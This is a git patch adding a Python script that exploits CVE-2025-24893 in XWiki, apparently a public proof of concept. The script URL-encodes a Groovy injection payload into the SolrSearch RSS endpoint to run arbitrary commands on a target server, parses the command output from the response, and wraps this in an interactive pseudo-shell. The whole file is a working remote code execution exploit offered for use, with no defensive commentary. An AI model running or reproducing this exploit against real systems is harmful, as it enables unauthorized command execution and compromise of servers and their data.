From 49ffe8c73b6c43e580d4abcba9fb08207f40e38b Mon Sep 17 00:00:00 2001
From: Ian <andwatiian@gmail.com>
Date: Fri, 5 Sep 2025 21:39:22 +0300
Subject: [PATCH] Create CVE-2025-24893.py

---
 CVE-2025-24893.py | 76 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 76 insertions(+)
 create mode 100644 CVE-2025-24893.py

diff --git a/CVE-2025-24893.py b/CVE-2025-24893.py
new file mode 100644
index 0000000..40a18d2
--- /dev/null
+++ b/CVE-2025-24893.py
@@ -0,0 +1,76 @@
+#!/usr/bin/env python3
+from pwn import *
+import requests
+import re
+import html2text
+
+context.log_level = "info"
+
+def exploit(url, command):
+    payload = (
+        f'%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
+        f'%7b%7bgroovy%7d%7dprintln("{command}".execute().text)'
+        f'%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
+    )
+    full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
+
+    log.info(f"Sending payload to: {full_url}")
+    try:
+        response = requests.get(full_url, timeout=10)
+    except requests.exceptions.RequestException as e:
+        log.error(f"Connection error: {e}")
+        return None
+
+    # Extract [}}} and ]
+    match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
+    if match:
+        raw_output = match.group(1).strip()
+        output = h2t.handle(raw_output).strip()
+        return output if output else None
+    return None
+
+
+def shell(url):
+    log.success("Dropping into interactive shell (type commands, Ctrl+C to exit)")
+    while True:
+        try:
+            cmd = input("$ ")
+            if not cmd.strip():
+                continue
+            output = exploit(url, cmd)
+            if output:
+                print(output)
+            else:
+                log.warn("No output (maybe empty command result?)")
+        except KeyboardInterrupt:
+            log.info("Exiting shell.")
+            break
+
+
+def main():
+    url = args.URL.rstrip("/")
+    command = args.CMD
+
+    if command:
+        out = exploit(url, command)
+        if out:
+            print(f"\n[+] Command output '{command}':\n")
+            print(out)
+        else:
+            log.warn("Command executed but returned no output.")
+    else:
+        shell(url)
+
+
+if __name__ == "__main__":
+    h2t = html2text.HTML2Text()
+    h2t.ignore_links = True
+
+    parser = argparse.ArgumentParser(
+        description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
+    )
+    parser.add_argument("-u", "--url", dest="URL", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
+    parser.add_argument("-c", "--command", dest="CMD", help="Single command to run, omit for interactive shell")
+    args = parser.parse_args()
+
+    main()